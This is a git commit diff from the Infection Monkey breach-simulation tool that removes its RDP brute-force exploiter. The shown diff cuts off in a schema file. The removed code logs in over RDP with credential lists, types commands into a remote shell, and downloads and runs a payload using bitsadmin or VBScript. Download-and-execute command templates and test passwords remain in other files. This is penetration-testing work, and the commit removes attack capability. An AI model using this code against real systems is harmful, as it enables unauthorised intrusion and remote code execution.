forked from p15670423/monkey
Merge pull request #409 from guardicore/feature/remove_rdp_grinder
Feature/remove rdp grinder
This commit is contained in:
commit
489a6e8ebb
|
@ -30,7 +30,6 @@ The Infection Monkey uses the following techniques and exploits to propagate to
|
||||||
* Multiple exploit methods:
|
* Multiple exploit methods:
|
||||||
* SSH
|
* SSH
|
||||||
* SMB
|
* SMB
|
||||||
* RDP
|
|
||||||
* WMI
|
* WMI
|
||||||
* Shellshock
|
* Shellshock
|
||||||
* Conficker
|
* Conficker
|
||||||
|
|
|
@ -62,7 +62,6 @@
|
||||||
"exploiter_classes": [
|
"exploiter_classes": [
|
||||||
"SmbExploiter",
|
"SmbExploiter",
|
||||||
"WmiExploiter",
|
"WmiExploiter",
|
||||||
"RdpExploiter",
|
|
||||||
"ShellShockExploiter",
|
"ShellShockExploiter",
|
||||||
"SambaCryExploiter",
|
"SambaCryExploiter",
|
||||||
"ElasticGroovyExploiter",
|
"ElasticGroovyExploiter",
|
||||||
|
@ -79,9 +78,6 @@
|
||||||
"remote_user_pass": "Password1!",
|
"remote_user_pass": "Password1!",
|
||||||
"user_to_add": "Monkey_IUSER_SUPPORT"
|
"user_to_add": "Monkey_IUSER_SUPPORT"
|
||||||
},
|
},
|
||||||
"rdp_grinder": {
|
|
||||||
"rdp_use_vbs_download": true
|
|
||||||
},
|
|
||||||
"sambacry": {
|
"sambacry": {
|
||||||
"sambacry_folder_paths_to_guess": [
|
"sambacry_folder_paths_to_guess": [
|
||||||
"/",
|
"/",
|
||||||
|
|
|
@ -606,20 +606,16 @@ fullTest.conf is a good config to start, because it covers all machines.
|
||||||
<td>2}p}aR]&=M</td>
|
<td>2}p}aR]&=M</td>
|
||||||
</tr>
|
</tr>
|
||||||
<tr class="odd">
|
<tr class="odd">
|
||||||
<td>Scan results:</td>
|
|
||||||
<td>Machine exploited using RDP grinder</td>
|
|
||||||
</tr>
|
|
||||||
<tr class="even">
|
|
||||||
<td>Server’s config:</td>
|
<td>Server’s config:</td>
|
||||||
<td><p>Remote desktop enabled</p>
|
<td><p>Remote desktop enabled</p>
|
||||||
<p>Admin user’s credentials:</p>
|
<p>Admin user’s credentials:</p>
|
||||||
<p>m0nk3y, 2}p}aR]&=M</p></td>
|
<p>m0nk3y, 2}p}aR]&=M</p></td>
|
||||||
</tr>
|
</tr>
|
||||||
<tr class="odd">
|
<tr class="even">
|
||||||
<td>Notes:</td>
|
<td>Notes:</td>
|
||||||
<td></td>
|
<td></td>
|
||||||
</tr>
|
</tr>
|
||||||
<tr class="even">
|
<tr class="odd">
|
||||||
<td></td>
|
<td></td>
|
||||||
<td></td>
|
<td></td>
|
||||||
</tr>
|
</tr>
|
||||||
|
@ -649,7 +645,7 @@ fullTest.conf is a good config to start, because it covers all machines.
|
||||||
</tr>
|
</tr>
|
||||||
<tr class="even">
|
<tr class="even">
|
||||||
<td>Server’s config:</td>
|
<td>Server’s config:</td>
|
||||||
<td><p>Has cashed mimikatz-15 RDP credentials</p>
|
<td><p>Has cached mimikatz-15 RDP credentials</p>
|
||||||
<p><a href="https://social.technet.microsoft.com/Forums/windows/en-US/8160d62b-0f5d-48a3-9fe9-5cd319837917/how-te-reenable-smb1-in-windows1o?forum=win10itprogeneral">SMB</a> turned on</p></td>
|
<p><a href="https://social.technet.microsoft.com/Forums/windows/en-US/8160d62b-0f5d-48a3-9fe9-5cd319837917/how-te-reenable-smb1-in-windows1o?forum=win10itprogeneral">SMB</a> turned on</p></td>
|
||||||
</tr>
|
</tr>
|
||||||
<tr class="odd">
|
<tr class="odd">
|
||||||
|
|
|
@ -216,9 +216,6 @@ class Configuration(object):
|
||||||
user_to_add = "Monkey_IUSER_SUPPORT"
|
user_to_add = "Monkey_IUSER_SUPPORT"
|
||||||
remote_user_pass = "Password1!"
|
remote_user_pass = "Password1!"
|
||||||
|
|
||||||
# rdp exploiter
|
|
||||||
rdp_use_vbs_download = True
|
|
||||||
|
|
||||||
# User and password dictionaries for exploits.
|
# User and password dictionaries for exploits.
|
||||||
|
|
||||||
def get_exploit_user_password_pairs(self):
|
def get_exploit_user_password_pairs(self):
|
||||||
|
|
|
@ -63,7 +63,6 @@
|
||||||
"user_to_add": "Monkey_IUSER_SUPPORT",
|
"user_to_add": "Monkey_IUSER_SUPPORT",
|
||||||
"remote_user_pass": "Password1!",
|
"remote_user_pass": "Password1!",
|
||||||
"ping_scan_timeout": 10000,
|
"ping_scan_timeout": 10000,
|
||||||
"rdp_use_vbs_download": true,
|
|
||||||
"smb_download_timeout": 300,
|
"smb_download_timeout": 300,
|
||||||
"smb_service_name": "InfectionMonkey",
|
"smb_service_name": "InfectionMonkey",
|
||||||
"retry_failed_explotation": true,
|
"retry_failed_explotation": true,
|
||||||
|
|
|
@ -80,7 +80,6 @@ class HostExploiter(object):
|
||||||
from infection_monkey.exploit.win_ms08_067 import Ms08_067_Exploiter
|
from infection_monkey.exploit.win_ms08_067 import Ms08_067_Exploiter
|
||||||
from infection_monkey.exploit.wmiexec import WmiExploiter
|
from infection_monkey.exploit.wmiexec import WmiExploiter
|
||||||
from infection_monkey.exploit.smbexec import SmbExploiter
|
from infection_monkey.exploit.smbexec import SmbExploiter
|
||||||
from infection_monkey.exploit.rdpgrinder import RdpExploiter
|
|
||||||
from infection_monkey.exploit.sshexec import SSHExploiter
|
from infection_monkey.exploit.sshexec import SSHExploiter
|
||||||
from infection_monkey.exploit.shellshock import ShellShockExploiter
|
from infection_monkey.exploit.shellshock import ShellShockExploiter
|
||||||
from infection_monkey.exploit.sambacry import SambaCryExploiter
|
from infection_monkey.exploit.sambacry import SambaCryExploiter
|
||||||
|
|
|
@ -8,7 +8,7 @@ import json
|
||||||
import logging
|
import logging
|
||||||
import requests
|
import requests
|
||||||
from infection_monkey.exploit.web_rce import WebRCE
|
from infection_monkey.exploit.web_rce import WebRCE
|
||||||
from infection_monkey.model import WGET_HTTP_UPLOAD, RDP_CMDLINE_HTTP, CHECK_COMMAND, ID_STRING, CMD_PREFIX,\
|
from infection_monkey.model import WGET_HTTP_UPLOAD, BITSADMIN_CMDLINE_HTTP, CHECK_COMMAND, ID_STRING, CMD_PREFIX,\
|
||||||
DOWNLOAD_TIMEOUT
|
DOWNLOAD_TIMEOUT
|
||||||
from infection_monkey.network.elasticfinger import ES_PORT, ES_SERVICE
|
from infection_monkey.network.elasticfinger import ES_PORT, ES_SERVICE
|
||||||
from infection_monkey.telemetry.attack.t1197_telem import T1197Telem
|
from infection_monkey.telemetry.attack.t1197_telem import T1197Telem
|
||||||
|
@ -38,7 +38,7 @@ class ElasticGroovyExploiter(WebRCE):
|
||||||
exploit_config = super(ElasticGroovyExploiter, self).get_exploit_config()
|
exploit_config = super(ElasticGroovyExploiter, self).get_exploit_config()
|
||||||
exploit_config['dropper'] = True
|
exploit_config['dropper'] = True
|
||||||
exploit_config['url_extensions'] = ['_search?pretty']
|
exploit_config['url_extensions'] = ['_search?pretty']
|
||||||
exploit_config['upload_commands'] = {'linux': WGET_HTTP_UPLOAD, 'windows': CMD_PREFIX+" "+RDP_CMDLINE_HTTP}
|
exploit_config['upload_commands'] = {'linux': WGET_HTTP_UPLOAD, 'windows': CMD_PREFIX +" " + BITSADMIN_CMDLINE_HTTP}
|
||||||
return exploit_config
|
return exploit_config
|
||||||
|
|
||||||
def get_open_service_ports(self, port_list, names):
|
def get_open_service_ports(self, port_list, names):
|
||||||
|
|
|
@ -1,346 +0,0 @@
|
||||||
import os.path
|
|
||||||
import threading
|
|
||||||
import time
|
|
||||||
from logging import getLogger
|
|
||||||
|
|
||||||
import rdpy.core.log as rdpy_log
|
|
||||||
import twisted.python.log
|
|
||||||
from rdpy.core.error import RDPSecurityNegoFail
|
|
||||||
from rdpy.protocol.rdp import rdp
|
|
||||||
from twisted.internet import reactor
|
|
||||||
|
|
||||||
from common.utils.attack_utils import ScanStatus, BITS_UPLOAD_STRING
|
|
||||||
from common.utils.exploit_enum import ExploitType
|
|
||||||
from infection_monkey.exploit import HostExploiter
|
|
||||||
from infection_monkey.exploit.tools.helpers import get_monkey_depth, get_target_monkey, build_monkey_commandline
|
|
||||||
from infection_monkey.exploit.tools.http_tools import HTTPTools
|
|
||||||
from infection_monkey.model import RDP_CMDLINE_HTTP_BITS, RDP_CMDLINE_HTTP_VBS
|
|
||||||
from infection_monkey.network.tools import check_tcp_port
|
|
||||||
from infection_monkey.telemetry.attack.t1197_telem import T1197Telem
|
|
||||||
from infection_monkey.utils import utf_to_ascii
|
|
||||||
|
|
||||||
__author__ = 'hoffer'
|
|
||||||
|
|
||||||
KEYS_INTERVAL = 0.1
|
|
||||||
MAX_WAIT_FOR_UPDATE = 120
|
|
||||||
KEYS_SENDER_SLEEP = 0.01
|
|
||||||
DOWNLOAD_TIMEOUT = 60
|
|
||||||
RDP_PORT = 3389
|
|
||||||
LOG = getLogger(__name__)
|
|
||||||
|
|
||||||
|
|
||||||
def twisted_log_func(*message, **kw):
|
|
||||||
if kw.get('isError'):
|
|
||||||
error_msg = 'Unknown'
|
|
||||||
if 'failure' in kw:
|
|
||||||
error_msg = kw['failure'].getErrorMessage()
|
|
||||||
LOG.error("Error from twisted library: %s" % (error_msg,))
|
|
||||||
else:
|
|
||||||
LOG.debug("Message from twisted library: %s" % (str(message),))
|
|
||||||
|
|
||||||
|
|
||||||
def rdpy_log_func(message):
|
|
||||||
LOG.debug("Message from rdpy library: %s" % (message,))
|
|
||||||
|
|
||||||
|
|
||||||
twisted.python.log.msg = twisted_log_func
|
|
||||||
rdpy_log._LOG_LEVEL = rdpy_log.Level.ERROR
|
|
||||||
rdpy_log.log = rdpy_log_func
|
|
||||||
|
|
||||||
# thread for twisted reactor, create once.
|
|
||||||
global g_reactor
|
|
||||||
g_reactor = threading.Thread(target=reactor.run, args=(False,))
|
|
||||||
|
|
||||||
|
|
||||||
class ScanCodeEvent(object):
|
|
||||||
def __init__(self, code, is_pressed=False, is_special=False):
|
|
||||||
self.code = code
|
|
||||||
self.is_pressed = is_pressed
|
|
||||||
self.is_special = is_special
|
|
||||||
|
|
||||||
|
|
||||||
class CharEvent(object):
|
|
||||||
def __init__(self, char, is_pressed=False):
|
|
||||||
self.char = char
|
|
||||||
self.is_pressed = is_pressed
|
|
||||||
|
|
||||||
|
|
||||||
class SleepEvent(object):
|
|
||||||
def __init__(self, interval):
|
|
||||||
self.interval = interval
|
|
||||||
|
|
||||||
|
|
||||||
class WaitUpdateEvent(object):
|
|
||||||
def __init__(self, updates=1):
|
|
||||||
self.updates = updates
|
|
||||||
pass
|
|
||||||
|
|
||||||
|
|
||||||
def str_to_keys(orig_str):
|
|
||||||
result = []
|
|
||||||
for c in orig_str:
|
|
||||||
result.append(CharEvent(c, True))
|
|
||||||
result.append(CharEvent(c, False))
|
|
||||||
result.append(WaitUpdateEvent())
|
|
||||||
return result
|
|
||||||
|
|
||||||
|
|
||||||
class KeyPressRDPClient(rdp.RDPClientObserver):
|
|
||||||
def __init__(self, controller, keys, width, height, addr):
|
|
||||||
super(KeyPressRDPClient, self).__init__(controller)
|
|
||||||
self._keys = keys
|
|
||||||
self._addr = addr
|
|
||||||
self._update_lock = threading.Lock()
|
|
||||||
self._wait_update = False
|
|
||||||
self._keys_thread = threading.Thread(target=self._keysSender)
|
|
||||||
self._keys_thread.daemon = True
|
|
||||||
self._width = width
|
|
||||||
self._height = height
|
|
||||||
self._last_update = 0
|
|
||||||
self.closed = False
|
|
||||||
self.success = False
|
|
||||||
self._wait_for_update = None
|
|
||||||
|
|
||||||
def onUpdate(self, destLeft, destTop, destRight, destBottom, width, height, bitsPerPixel, isCompress, data):
|
|
||||||
update_time = time.time()
|
|
||||||
self._update_lock.acquire()
|
|
||||||
self._last_update = update_time
|
|
||||||
self._wait_for_update = False
|
|
||||||
self._update_lock.release()
|
|
||||||
|
|
||||||
def _keysSender(self):
|
|
||||||
LOG.debug("Starting to send keystrokes")
|
|
||||||
while True:
|
|
||||||
|
|
||||||
if self.closed:
|
|
||||||
return
|
|
||||||
|
|
||||||
if len(self._keys) == 0:
|
|
||||||
reactor.callFromThread(self._controller.close)
|
|
||||||
LOG.debug("Closing RDP connection to %s:%s", self._addr.host, self._addr.port)
|
|
||||||
return
|
|
||||||
|
|
||||||
key = self._keys[0]
|
|
||||||
|
|
||||||
self._update_lock.acquire()
|
|
||||||
time_diff = time.time() - self._last_update
|
|
||||||
if type(key) is WaitUpdateEvent:
|
|
||||||
self._wait_for_update = True
|
|
||||||
self._update_lock.release()
|
|
||||||
key.updates -= 1
|
|
||||||
if key.updates == 0:
|
|
||||||
self._keys = self._keys[1:]
|
|
||||||
elif time_diff > KEYS_INTERVAL and (not self._wait_for_update or time_diff > MAX_WAIT_FOR_UPDATE):
|
|
||||||
self._wait_for_update = False
|
|
||||||
self._update_lock.release()
|
|
||||||
if type(key) is ScanCodeEvent:
|
|
||||||
reactor.callFromThread(self._controller.sendKeyEventScancode, key.code, key.is_pressed,
|
|
||||||
key.is_special)
|
|
||||||
elif type(key) is CharEvent:
|
|
||||||
reactor.callFromThread(self._controller.sendKeyEventUnicode, ord(key.char), key.is_pressed)
|
|
||||||
elif type(key) is SleepEvent:
|
|
||||||
time.sleep(key.interval)
|
|
||||||
|
|
||||||
self._keys = self._keys[1:]
|
|
||||||
else:
|
|
||||||
self._update_lock.release()
|
|
||||||
time.sleep(KEYS_SENDER_SLEEP)
|
|
||||||
|
|
||||||
def onReady(self):
|
|
||||||
time.sleep(1)
|
|
||||||
reactor.callFromThread(self._controller.sendKeyEventUnicode, ord('Y'), True)
|
|
||||||
time.sleep(1)
|
|
||||||
reactor.callFromThread(self._controller.sendKeyEventUnicode, ord('Y'), False)
|
|
||||||
time.sleep(1)
|
|
||||||
pass
|
|
||||||
|
|
||||||
def onClose(self):
|
|
||||||
self.success = len(self._keys) == 0
|
|
||||||
self.closed = True
|
|
||||||
|
|
||||||
def onSessionReady(self):
|
|
||||||
LOG.debug("Logged in, session is ready for work")
|
|
||||||
self._last_update = time.time()
|
|
||||||
self._keys_thread.start()
|
|
||||||
|
|
||||||
|
|
||||||
class CMDClientFactory(rdp.ClientFactory):
|
|
||||||
def __init__(self, username, password="", domain="", command="", optimized=False, width=666, height=359):
|
|
||||||
self._username = username
|
|
||||||
self._password = password
|
|
||||||
self._domain = domain
|
|
||||||
self._keyboard_layout = "en"
|
|
||||||
# key sequence: WINKEY+R,cmd /v,Enter,<command>&exit,Enter
|
|
||||||
self._keys = [SleepEvent(1),
|
|
||||||
ScanCodeEvent(91, True, True),
|
|
||||||
ScanCodeEvent(19, True),
|
|
||||||
ScanCodeEvent(19, False),
|
|
||||||
ScanCodeEvent(91, False, True), WaitUpdateEvent()] + str_to_keys("cmd /v") + \
|
|
||||||
[WaitUpdateEvent(), ScanCodeEvent(28, True),
|
|
||||||
ScanCodeEvent(28, False), WaitUpdateEvent()] + str_to_keys(command + "&exit") + \
|
|
||||||
[WaitUpdateEvent(), ScanCodeEvent(28, True),
|
|
||||||
ScanCodeEvent(28, False), WaitUpdateEvent()]
|
|
||||||
self._optimized = optimized
|
|
||||||
self._security = rdp.SecurityLevel.RDP_LEVEL_NLA
|
|
||||||
self._nego = True
|
|
||||||
self._client = None
|
|
||||||
self._width = width
|
|
||||||
self._height = height
|
|
||||||
self.done_event = threading.Event()
|
|
||||||
self.success = False
|
|
||||||
|
|
||||||
def buildObserver(self, controller, addr):
|
|
||||||
"""
|
|
||||||
@summary: Build RFB observer
|
|
||||||
We use a RDPClient as RDP observer
|
|
||||||
@param controller: build factory and needed by observer
|
|
||||||
@param addr: destination address
|
|
||||||
@return: RDPClientQt
|
|
||||||
"""
|
|
||||||
|
|
||||||
# create client observer
|
|
||||||
self._client = KeyPressRDPClient(controller, self._keys, self._width, self._height, addr)
|
|
||||||
|
|
||||||
controller.setUsername(self._username)
|
|
||||||
controller.setPassword(self._password)
|
|
||||||
controller.setDomain(self._domain)
|
|
||||||
controller.setKeyboardLayout(self._keyboard_layout)
|
|
||||||
controller.setHostname(addr.host)
|
|
||||||
if self._optimized:
|
|
||||||
controller.setPerformanceSession()
|
|
||||||
controller.setSecurityLevel(self._security)
|
|
||||||
|
|
||||||
return self._client
|
|
||||||
|
|
||||||
def clientConnectionLost(self, connector, reason):
|
|
||||||
# try reconnect with basic RDP security
|
|
||||||
if reason.type == RDPSecurityNegoFail and self._nego:
|
|
||||||
LOG.debug("RDP Security negotiate failed on %s:%s, starting retry with basic security" %
|
|
||||||
(connector.host, connector.port))
|
|
||||||
# stop nego
|
|
||||||
self._nego = False
|
|
||||||
self._security = rdp.SecurityLevel.RDP_LEVEL_RDP
|
|
||||||
connector.connect()
|
|
||||||
return
|
|
||||||
|
|
||||||
LOG.debug("RDP connection to %s:%s closed" % (connector.host, connector.port))
|
|
||||||
self.success = self._client.success
|
|
||||||
self.done_event.set()
|
|
||||||
|
|
||||||
def clientConnectionFailed(self, connector, reason):
|
|
||||||
LOG.debug("RDP connection to %s:%s failed, with error: %s" %
|
|
||||||
(connector.host, connector.port, reason.getErrorMessage()))
|
|
||||||
self.success = False
|
|
||||||
self.done_event.set()
|
|
||||||
|
|
||||||
|
|
||||||
class RdpExploiter(HostExploiter):
|
|
||||||
|
|
||||||
_TARGET_OS_TYPE = ['windows']
|
|
||||||
EXPLOIT_TYPE = ExploitType.BRUTE_FORCE
|
|
||||||
_EXPLOITED_SERVICE = 'RDP'
|
|
||||||
|
|
||||||
def __init__(self, host):
|
|
||||||
super(RdpExploiter, self).__init__(host)
|
|
||||||
|
|
||||||
def is_os_supported(self):
|
|
||||||
if super(RdpExploiter, self).is_os_supported():
|
|
||||||
return True
|
|
||||||
|
|
||||||
if not self.host.os.get('type'):
|
|
||||||
is_open, _ = check_tcp_port(self.host.ip_addr, RDP_PORT)
|
|
||||||
if is_open:
|
|
||||||
self.host.os['type'] = 'windows'
|
|
||||||
return True
|
|
||||||
return False
|
|
||||||
|
|
||||||
def _exploit_host(self):
|
|
||||||
global g_reactor
|
|
||||||
|
|
||||||
is_open, _ = check_tcp_port(self.host.ip_addr, RDP_PORT)
|
|
||||||
if not is_open:
|
|
||||||
LOG.info("RDP port is closed on %r, skipping", self.host)
|
|
||||||
return False
|
|
||||||
|
|
||||||
src_path = get_target_monkey(self.host)
|
|
||||||
|
|
||||||
if not src_path:
|
|
||||||
LOG.info("Can't find suitable monkey executable for host %r", self.host)
|
|
||||||
return False
|
|
||||||
|
|
||||||
# create server for http download.
|
|
||||||
http_path, http_thread = HTTPTools.create_transfer(self.host, src_path)
|
|
||||||
|
|
||||||
if not http_path:
|
|
||||||
LOG.debug("Exploiter RdpGrinder failed, http transfer creation failed.")
|
|
||||||
return False
|
|
||||||
|
|
||||||
LOG.info("Started http server on %s", http_path)
|
|
||||||
|
|
||||||
cmdline = build_monkey_commandline(self.host, get_monkey_depth() - 1)
|
|
||||||
|
|
||||||
if self._config.rdp_use_vbs_download:
|
|
||||||
command = RDP_CMDLINE_HTTP_VBS % {
|
|
||||||
'monkey_path': self._config.dropper_target_path_win_32,
|
|
||||||
'http_path': http_path, 'parameters': cmdline}
|
|
||||||
else:
|
|
||||||
command = RDP_CMDLINE_HTTP_BITS % {
|
|
||||||
'monkey_path': self._config.dropper_target_path_win_32,
|
|
||||||
'http_path': http_path, 'parameters': cmdline}
|
|
||||||
|
|
||||||
user_password_pairs = self._config.get_exploit_user_password_pairs()
|
|
||||||
|
|
||||||
if not g_reactor.is_alive():
|
|
||||||
g_reactor.daemon = True
|
|
||||||
g_reactor.start()
|
|
||||||
|
|
||||||
exploited = False
|
|
||||||
for user, password in user_password_pairs:
|
|
||||||
try:
|
|
||||||
# run command using rdp.
|
|
||||||
LOG.info("Trying RDP logging into victim %r with user %s and password (SHA-512) '%s'",
|
|
||||||
self.host, user, self._config.hash_sensitive_data(password))
|
|
||||||
|
|
||||||
LOG.info("RDP connected to %r", self.host)
|
|
||||||
|
|
||||||
user = utf_to_ascii(user)
|
|
||||||
password = utf_to_ascii(password)
|
|
||||||
command = utf_to_ascii(command)
|
|
||||||
|
|
||||||
client_factory = CMDClientFactory(user, password, "", command)
|
|
||||||
|
|
||||||
reactor.callFromThread(reactor.connectTCP, self.host.ip_addr, RDP_PORT, client_factory)
|
|
||||||
|
|
||||||
client_factory.done_event.wait()
|
|
||||||
|
|
||||||
if client_factory.success:
|
|
||||||
if not self._config.rdp_use_vbs_download:
|
|
||||||
T1197Telem(ScanStatus.USED, self.host, BITS_UPLOAD_STRING).send()
|
|
||||||
self.add_vuln_port(RDP_PORT)
|
|
||||||
exploited = True
|
|
||||||
self.report_login_attempt(True, user, password)
|
|
||||||
break
|
|
||||||
else:
|
|
||||||
# failed exploiting with this user/pass
|
|
||||||
self.report_login_attempt(False, user, password)
|
|
||||||
|
|
||||||
except Exception as exc:
|
|
||||||
LOG.debug("Error logging into victim %r with user"
|
|
||||||
" %s and password (SHA-512) '%s': (%s)", self.host,
|
|
||||||
user, self._config.hash_sensitive_data(password), exc)
|
|
||||||
continue
|
|
||||||
|
|
||||||
http_thread.join(DOWNLOAD_TIMEOUT)
|
|
||||||
http_thread.stop()
|
|
||||||
|
|
||||||
if not exploited:
|
|
||||||
LOG.debug("Exploiter RdpGrinder failed, rdp failed.")
|
|
||||||
return False
|
|
||||||
elif http_thread.downloads == 0:
|
|
||||||
LOG.debug("Exploiter RdpGrinder failed, http download failed.")
|
|
||||||
return False
|
|
||||||
|
|
||||||
LOG.info("Executed monkey '%s' on remote victim %r",
|
|
||||||
os.path.basename(src_path), self.host)
|
|
||||||
self.add_executed_cmd(command)
|
|
||||||
return True
|
|
|
@ -309,7 +309,7 @@ class WebRCE(HostExploiter):
|
||||||
"""
|
"""
|
||||||
if not isinstance(resp, bool) and POWERSHELL_NOT_FOUND in resp:
|
if not isinstance(resp, bool) and POWERSHELL_NOT_FOUND in resp:
|
||||||
LOG.info("Powershell not found in host. Using bitsadmin to download.")
|
LOG.info("Powershell not found in host. Using bitsadmin to download.")
|
||||||
backup_command = RDP_CMDLINE_HTTP % {'monkey_path': dest_path, 'http_path': http_path}
|
backup_command = BITSADMIN_CMDLINE_HTTP % {'monkey_path': dest_path, 'http_path': http_path}
|
||||||
T1197Telem(ScanStatus.USED, self.host, BITS_UPLOAD_STRING).send()
|
T1197Telem(ScanStatus.USED, self.host, BITS_UPLOAD_STRING).send()
|
||||||
resp = self.exploit(url, backup_command)
|
resp = self.exploit(url, backup_command)
|
||||||
return resp
|
return resp
|
||||||
|
|
|
@ -12,14 +12,12 @@ GENERAL_CMDLINE_LINUX = '(cd %(monkey_directory)s && %(monkey_commandline)s)'
|
||||||
DROPPER_CMDLINE_DETACHED_WINDOWS = 'cmd /c start cmd /c %%(dropper_path)s %s' % (DROPPER_ARG, )
|
DROPPER_CMDLINE_DETACHED_WINDOWS = 'cmd /c start cmd /c %%(dropper_path)s %s' % (DROPPER_ARG, )
|
||||||
MONKEY_CMDLINE_DETACHED_WINDOWS = 'cmd /c start cmd /c %%(monkey_path)s %s' % (MONKEY_ARG, )
|
MONKEY_CMDLINE_DETACHED_WINDOWS = 'cmd /c start cmd /c %%(monkey_path)s %s' % (MONKEY_ARG, )
|
||||||
MONKEY_CMDLINE_HTTP = 'cmd.exe /c "bitsadmin /transfer Update /download /priority high %%(http_path)s %%(monkey_path)s&cmd /c %%(monkey_path)s %s"' % (MONKEY_ARG, )
|
MONKEY_CMDLINE_HTTP = 'cmd.exe /c "bitsadmin /transfer Update /download /priority high %%(http_path)s %%(monkey_path)s&cmd /c %%(monkey_path)s %s"' % (MONKEY_ARG, )
|
||||||
RDP_CMDLINE_HTTP_BITS = 'bitsadmin /transfer Update /download /priority high %%(http_path)s %%(monkey_path)s&&start /b %%(monkey_path)s %s %%(parameters)s' % (MONKEY_ARG, )
|
|
||||||
RDP_CMDLINE_HTTP_VBS = 'set o=!TMP!\!RANDOM!.tmp&@echo Set objXMLHTTP=CreateObject("WinHttp.WinHttpRequest.5.1")>!o!&@echo objXMLHTTP.open "GET","%%(http_path)s",false>>!o!&@echo objXMLHTTP.send()>>!o!&@echo If objXMLHTTP.Status=200 Then>>!o!&@echo Set objADOStream=CreateObject("ADODB.Stream")>>!o!&@echo objADOStream.Open>>!o!&@echo objADOStream.Type=1 >>!o!&@echo objADOStream.Write objXMLHTTP.ResponseBody>>!o!&@echo objADOStream.Position=0 >>!o!&@echo objADOStream.SaveToFile "%%(monkey_path)s">>!o!&@echo objADOStream.Close>>!o!&@echo Set objADOStream=Nothing>>!o!&@echo End if>>!o!&@echo Set objXMLHTTP=Nothing>>!o!&@echo Set objShell=CreateObject("WScript.Shell")>>!o!&@echo objShell.Run "%%(monkey_path)s %s %%(parameters)s", 0, false>>!o!&start /b cmd /c cscript.exe //E:vbscript !o!^&del /f /q !o!' % (MONKEY_ARG, )
|
|
||||||
DELAY_DELETE_CMD = 'cmd /c (for /l %%i in (1,0,2) do (ping -n 60 127.0.0.1 & del /f /q %(file_path)s & if not exist %(file_path)s exit)) > NUL 2>&1'
|
DELAY_DELETE_CMD = 'cmd /c (for /l %%i in (1,0,2) do (ping -n 60 127.0.0.1 & del /f /q %(file_path)s & if not exist %(file_path)s exit)) > NUL 2>&1'
|
||||||
|
|
||||||
# Commands used for downloading monkeys
|
# Commands used for downloading monkeys
|
||||||
POWERSHELL_HTTP_UPLOAD = "powershell -NoLogo -Command \"Invoke-WebRequest -Uri \'%(http_path)s\' -OutFile \'%(monkey_path)s\' -UseBasicParsing\""
|
POWERSHELL_HTTP_UPLOAD = "powershell -NoLogo -Command \"Invoke-WebRequest -Uri \'%(http_path)s\' -OutFile \'%(monkey_path)s\' -UseBasicParsing\""
|
||||||
WGET_HTTP_UPLOAD = "wget -O %(monkey_path)s %(http_path)s"
|
WGET_HTTP_UPLOAD = "wget -O %(monkey_path)s %(http_path)s"
|
||||||
RDP_CMDLINE_HTTP = 'bitsadmin /transfer Update /download /priority high %(http_path)s %(monkey_path)s'
|
BITSADMIN_CMDLINE_HTTP = 'bitsadmin /transfer Update /download /priority high %(http_path)s %(monkey_path)s'
|
||||||
CHMOD_MONKEY = "chmod +x %(monkey_path)s"
|
CHMOD_MONKEY = "chmod +x %(monkey_path)s"
|
||||||
RUN_MONKEY = " %(monkey_path)s %(monkey_type)s %(parameters)s"
|
RUN_MONKEY = " %(monkey_path)s %(monkey_type)s %(parameters)s"
|
||||||
# Commands used to check for architecture and if machine is exploitable
|
# Commands used to check for architecture and if machine is exploitable
|
||||||
|
|
|
@ -1,10 +1,7 @@
|
||||||
enum34
|
enum34
|
||||||
impacket
|
impacket
|
||||||
pycryptodome
|
pycryptodome
|
||||||
pyasn1
|
|
||||||
cffi
|
cffi
|
||||||
twisted
|
|
||||||
rdpy
|
|
||||||
requests
|
requests
|
||||||
odict
|
odict
|
||||||
paramiko
|
paramiko
|
||||||
|
|
|
@ -1,10 +1,7 @@
|
||||||
enum34
|
enum34
|
||||||
impacket
|
impacket
|
||||||
pycryptodome
|
pycryptodome
|
||||||
pyasn1
|
|
||||||
cffi
|
cffi
|
||||||
twisted
|
|
||||||
rdpy
|
|
||||||
requests
|
requests
|
||||||
odict
|
odict
|
||||||
paramiko
|
paramiko
|
||||||
|
|
|
@ -58,7 +58,6 @@ class AWSExporter(Exporter):
|
||||||
'wmi_password': AWSExporter._handle_wmi_password_issue,
|
'wmi_password': AWSExporter._handle_wmi_password_issue,
|
||||||
'wmi_pth': AWSExporter._handle_wmi_pth_issue,
|
'wmi_pth': AWSExporter._handle_wmi_pth_issue,
|
||||||
'ssh_key': AWSExporter._handle_ssh_key_issue,
|
'ssh_key': AWSExporter._handle_ssh_key_issue,
|
||||||
'rdp': AWSExporter._handle_rdp_issue,
|
|
||||||
'shared_passwords_domain': AWSExporter._handle_shared_passwords_domain_issue,
|
'shared_passwords_domain': AWSExporter._handle_shared_passwords_domain_issue,
|
||||||
'shared_admins_domain': AWSExporter._handle_shared_admins_domain_issue,
|
'shared_admins_domain': AWSExporter._handle_shared_admins_domain_issue,
|
||||||
'strong_users_on_crit': AWSExporter._handle_strong_users_on_crit_issue,
|
'strong_users_on_crit': AWSExporter._handle_strong_users_on_crit_issue,
|
||||||
|
@ -305,20 +304,6 @@ class AWSExporter(Exporter):
|
||||||
instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
|
instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
|
||||||
)
|
)
|
||||||
|
|
||||||
@staticmethod
|
|
||||||
def _handle_rdp_issue(issue, instance_arn):
|
|
||||||
|
|
||||||
return AWSExporter._build_generic_finding(
|
|
||||||
severity=1,
|
|
||||||
title="Machines are accessible using passwords supplied by the user during the Monkey's configuration.",
|
|
||||||
description="Change {0}'s password to a complex one-use password that is not shared with other computers on the network.".format(
|
|
||||||
issue['username']),
|
|
||||||
recommendation="The machine machine ({ip_address}) is vulnerable to a RDP attack. The Monkey authenticated over the RDP protocol with user {username} and its password.".format(
|
|
||||||
machine=issue['machine'], ip_address=issue['ip_address'], username=issue['username']),
|
|
||||||
instance_arn=instance_arn,
|
|
||||||
instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
|
|
||||||
)
|
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def _handle_shared_passwords_domain_issue(issue, instance_arn):
|
def _handle_shared_passwords_domain_issue(issue, instance_arn):
|
||||||
|
|
||||||
|
|
|
@ -32,14 +32,6 @@ SCHEMA = {
|
||||||
"title": "MSSQL Exploiter",
|
"title": "MSSQL Exploiter",
|
||||||
"attack_techniques": ["T1110"]
|
"attack_techniques": ["T1110"]
|
||||||
},
|
},
|
||||||
{
|
|
||||||
"type": "string",
|
|
||||||
"enum": [
|
|
||||||
"RdpExploiter"
|
|
||||||
